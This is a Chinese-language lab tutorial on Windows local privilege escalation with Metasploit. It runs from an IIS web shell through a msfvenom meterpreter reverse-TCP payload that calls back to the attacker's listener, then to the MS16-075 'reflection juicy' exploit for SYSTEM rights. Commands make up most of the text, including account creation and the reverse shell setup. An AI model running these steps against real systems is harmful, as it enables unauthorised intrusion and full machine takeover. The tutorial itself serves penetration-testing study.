使用MSF对Windows系统进行本地提权
前言
window本地漏洞提权,是指利用Windows系统本地进程或系统服务的漏洞,将普通用户权限(Sql Server、.net framework)权限提示至system权限
提权的原理
当你使用当前用户的权限来创建的shell通信,你当前的shell就是什么权限,就好像你使用管理员运行一个木马文件,对方获得权限就是管理员,而Windows本地溢出就是利用system权限的缺陷开启shell进程,相对应的就可获得system权限。
实验环境
Windows server 2008 + SQL Server 2014 + IIS 7 IP:192.168.233.135
kali Linux 2020 IP:192.168.233.130
Windows 10 IP:192.168.233.1(中国蚁剑环境)
使用MSF对漏洞进行提权操作
存在webshell,普通权限
1.查看当前webshell权限,普通IIS权限,尝试添加用户失败
whoami
net user admsdf admin123 /add
systeminfo查看系统补丁情况
systeminfo
将查出来的补丁号放置在网站中查询存在的溢出漏洞 https://bugs.hacking8.com/tiquan/
找到选择一个可以在机器上使用的漏洞编号,暂时记录,待会会用
2.打开kali,使用msf生成Windows msf远控木马,并监听端口
查看当前ip地址:
ifconfig
生成meterpreter木马(生成更多木马文件请参考https://www.cnblogs.com/tianlinlin/p/10171981.html)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.130 LPORT=1233 -f exe > shell.exe
启动msf框架,选择监听模块
msfconsole
use exploit/multi/handler
设置接收反弹的payload类型,设置要监听的ip的端口 记得监听的端口和地址需要和生成木马的端口及ip地址相对应
set payload windows/meterpreter/reverse_tcp
set lport 1233
set lhost 192.168.233.130
options
开启监听(在开启监听前记得options查看一下当前的配置是否与生成的木马参数是否一致哦)
run
3.使用webshell将木马上传到网站目录,并使用终端运行,成功获得meterpreter shell
将shell从kali复制到物理机,使用蚁剑上传webshell
上传成功
右击,选择在此处打开虚拟终端,选择刚刚的shell.exe,回车运行
查看kali虚拟机,成功获得反弹shell,getuid查看当前用户
getuid
4.使用msf中post模块中ms16-075尝试本地溢出(郑重提示,如果是本地环境测试可以多尝试几下,如果是正式渗透测试,使用exp的时候一定先要看说明或者readme,不然很有可能造成目标蓝屏关机等情况)
sysinfo确定目标架构 Windows 2008 server,x64位系统(Windows下执行systeminfo也可以查看)
sysinfo
将环境调至后台运行,(注意弹出的session id待会要用)选择刚刚对比已经安装过的补丁,尝试使用未安装补丁的exp进行攻击(MS16-075)
background
search ms16-075
选择其中的一个模块进行测试(我本机短长度exp测试失败了,我觉得主要原因是看不懂注释),可以看到,payload已经帮我们默认选好了(windows/meterpreter/reverse_tcp),payload中的选项也自带填好了。大家的如果没有就手动set选择填一下吧
use exploit/windows/local/ms16_075_reflection_juicy
options
选择必选项session,将我们刚刚的sessionID放进去,run启动exp
set session 2
run
漏洞利用成功,这时候getuid查看权限也就是system权限了